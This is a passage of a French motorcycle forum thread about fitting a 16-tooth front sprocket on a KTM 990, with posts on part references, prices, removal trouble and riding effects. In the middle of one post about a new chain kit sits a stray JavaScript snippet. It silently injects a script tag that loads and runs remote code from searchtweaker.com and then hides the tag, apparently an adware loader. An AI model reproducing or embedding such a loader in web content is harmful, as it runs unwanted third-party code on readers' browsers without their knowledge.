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Discussions sur Tuto changement pignon de sortie de boite pour un PSB de 16 sur 990

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Message par philvtrsp2 Jeu 25 Avr 2013 - 11:11

http://www.kuttler.fr/811-roue-ar-990-smr-2012

pièce n°25 sur la photo!!!!

50304040100 : VIS M10X1,25X50 WS10

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Message par Cronos Jeu 25 Avr 2013 - 11:13

Sur le site Cross Roads:
ref: 50304040100 VIS M10X1,25X50 WS=10 2,21 €

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Message par Tony_60 Jeu 25 Avr 2013 - 11:17

Merci beaucoup, je serais toujours surpris de la réactivité et de l'efficacité de ce forum.....

Pour mon infos personnelle, pas de précaution particulière pour le démontage et changement de cette pièce ?


Dernière édition par Tony_60 le Jeu 25 Avr 2013 - 11:18, édité 1 fois
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Message par philvtrsp2 Jeu 25 Avr 2013 - 11:17


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Message par migeons Jeu 25 Avr 2013 - 15:04

Tony_60 a écrit:Merci beaucoup, je serais toujours surpris de la réactivité et de l'efficacité de ce forum.....

Pour mon infos personnelle, pas de précaution particulière pour le démontage et changement de cette pièce ?

gaffe de pas foirer le pas de vis! le bras oscillant c'est plus cher!! lol!
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Message par Tony_60 Jeu 25 Avr 2013 - 15:19

Nickel, je suis passé chez Baïnes, ils l'avaient en stock à 2.21 €, je m'en sort bien lol!
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Message par Phil2T Dim 5 Mai 2013 - 20:31

Montage PSB 16 ce matin et.....que du bonheur....trop drôle cette mob !
J'ai terminé tout ce que je pouvais faire en modifs avec mes petites mains et mon budget.
33 euros le PSB chez KTM....no comment...
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Message par Yoon Sam 5 Oct 2013 - 17:09

modif effectuée tout a l'heure,la moto n'a plus ces accoups dérangeant a basse vitesse.A effectuer d'urgence si vous ne l'avez pas fait.lol! 
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Message par Riton 18 Jeu 2 Jan 2014 - 4:25

En voyant tous sa sa donne envie par contre, en cherchant sur le net je suis tomber sur ce site qui ne les vendes pas chère.... Bizarre  Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 84126 

http://www.motor-bikes.fr/pignon-afam-ktm-990-superduke-smt-smr-1190-rc8-2006-2011

Qui a des avis sur ce site ? et sur la qualité ?
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Message par Katomeuch Jeu 2 Jan 2014 - 10:06

Riton 18 a écrit:En voyant tous sa sa donne envie par contre, en cherchant sur le net je suis tomber sur ce site qui ne les vendes pas chère.... Bizarre  Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 84126 

http://www.motor-bikes.fr/pignon-afam-ktm-990-superduke-smt-smr-1190-rc8-2006-2011

Qui a des avis sur ce site ? et sur la qualité ?

Connais pas .

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Message par Thierry G Jeu 2 Jan 2014 - 12:58

Le site je ne connais, par contre la qualité des pignons et couronnes AFAM est bonne.
En plus c'est une marque française qui faisait fabriquer en France mais je ne sais pas si c'est encoure le cas ?
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Message par Riton 18 Jeu 2 Jan 2014 - 19:12

Finalement de fil en aiguille j'ai trouvé un pignon venant de France équipement pour moins de 20 € :-D 

Plus qu'a attendre Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 750212 
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Message par spawn Lun 24 Fév 2014 - 19:25

Ce samedi j'ai fait la révision des 21.000 et j'en ai profiter pour changer le kit chaine.
J'ai donc posé un pignon de 16 (que du bonheur, je me demande pourquoi je ne l'ai pas fait plutôt  Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 805827 )

Une couronne bi-colore

Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 P1050110 Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 831774 

et une chaine noire et or
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Par contre les maillons me semble un peu faibles par rapport à l'origine et j'ai un doute sur la résistance de la chaine
Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 P1050112

Vous en pensez quoi ?
Quelqu'un a déjà monter ce type de chaine ?

(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
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Message par Celtic Lun 14 Avr 2014 - 20:24

Salut,
pour apporter ma pierre et suite à tout ce qui est écrit et ce que j'ai entendu, j'ai changé mon PSB sur mon SMT pour passer en 16 dents. Deux choses :

1- j'ai fait parti des 1% qui ont galéré pour sortir le PSB, la faute à du frein filet d'origine qui a débordé du filetage de l'écrou pour aller entre l'axe et le PSB. Arrache volant obligatoire (et la galère consiste à aller en trouver un !)
2- pourquoi j'ai pas fait cette modif avant ? Tout vrai sur ce qui est dit, tout mieux tout le temps (conso encore non vérifiée), tout top. A faire, vraiment, absolument, obligatoirement.
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Message par Mugatu Lun 14 Avr 2014 - 22:17

Bon ben si t'insiste...

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Message par Celtic Mar 15 Avr 2014 - 20:22

Mugatu a écrit:Bon ben si t'insiste...

Oui  Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 544276

En fait je dirais surtout que la moto semble plus "cohérente" et que c'est le PSB de 17 qui semble être la modification.
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Message par mitch58 Mer 16 Avr 2014 - 0:09

toutes les motos aujourd hui sont développées une dent en moins et sont une dent en plus pour les normes eu.
toutes mes motos ont toujours eu droit a ce traitement.
je dis toujours mettre un psb -1 dent c est comme si ont t injeçte 15cv (au niveau du ressenti)
et un moteur plus disponible.....
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Message par Mugatu Mer 16 Avr 2014 - 20:47

Je profiterai de la révision à 22500 dans pas très longtemps pour faire changer le kit chaine, avec une dent en moins au psb du coup ;)

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Message par mitch58 Mer 16 Avr 2014 - 21:15

et meme,j ai un copain qui malencontreusement,c est trouvé au milieu d une bagarre ,et il s est pris un pain et a perdu un chicot,bon,du coup il s est fait la malle rapidos.
et bin il me disait:
"avec une dent en moins,j'me tire beaucoup plus court...."

euh,je sors sans qu on me le demande. Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 842938 ..si si...j ai pas pu m en empeché  Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 679266
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Message par yannick Ven 18 Avr 2014 - 16:55

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Message par amcam Ven 18 Avr 2014 - 19:22

P'tite question :

sur la smt je suis tjrs en 17x41, vous commencer à me faire envie avec votre histoire de 16 dents !

Sur la Duke 690, le changement à déja été fait, je suis passé d'un 16 dents d'origine à un 15.... donc j'ai un 16 dents tout neuf....

Par hasard ça serai pas le même que pour la 990 (je viens de regarder sur le site KTm Méga service shop, c'est pas les même ref... mais c'est exactement le même prix.... d'ou question ...),

parce que alors dès demain matin, je vire le 17 et je place le 16 qui était sur la duke...
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Message par samisnow Mer 2 Juil 2014 - 14:21

Si j'ai bien compris: ce changement pourra me permettre plus de souplesse et d'économie d'essence, vu que j'utilise ma SMT à 90% en ville (voyant reserve se déclenche aprés 130 km) ?

Pleassee, j'aurai besoin de vos lumières.

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Message par mrictdi Mer 2 Juil 2014 - 14:52

Non certainement pas d'économie d'essence mais de souplesse oui. Tu vas plus consommer avec un 16 qu'avec un 17 d'origine.
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Message par samisnow Mer 2 Juil 2014 - 15:03

Aie....non.....nonn...!! j'en peux plus avec toutes ces augmentations de carburans au Maroc !! Discussions sur Tuto  changement pignon de sortie de boite pour un PSB de 16 sur 990 - Page 5 53521 
Sinon, dois-je monter un pignon KTM power parts ou juste n'importe lequel ?

Merci mrictdi

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Message par RAY Mer 2 Juil 2014 - 18:48

samisnow a écrit:Si j'ai bien compris: ce changement pourra me permettre plus de souplesse et d'économie d'essence, vu que j'utilise ma SMT à 90% en ville (voyant reserve se déclenche aprés 130 km) ?

Pleassee, j'aurai besoin de vos lumières.

 Smile3 130 KM  et tu tombes en réserve ? y a un problème là. tu n'aurais pas un robinet fermé sur le réservoir par hasard ?
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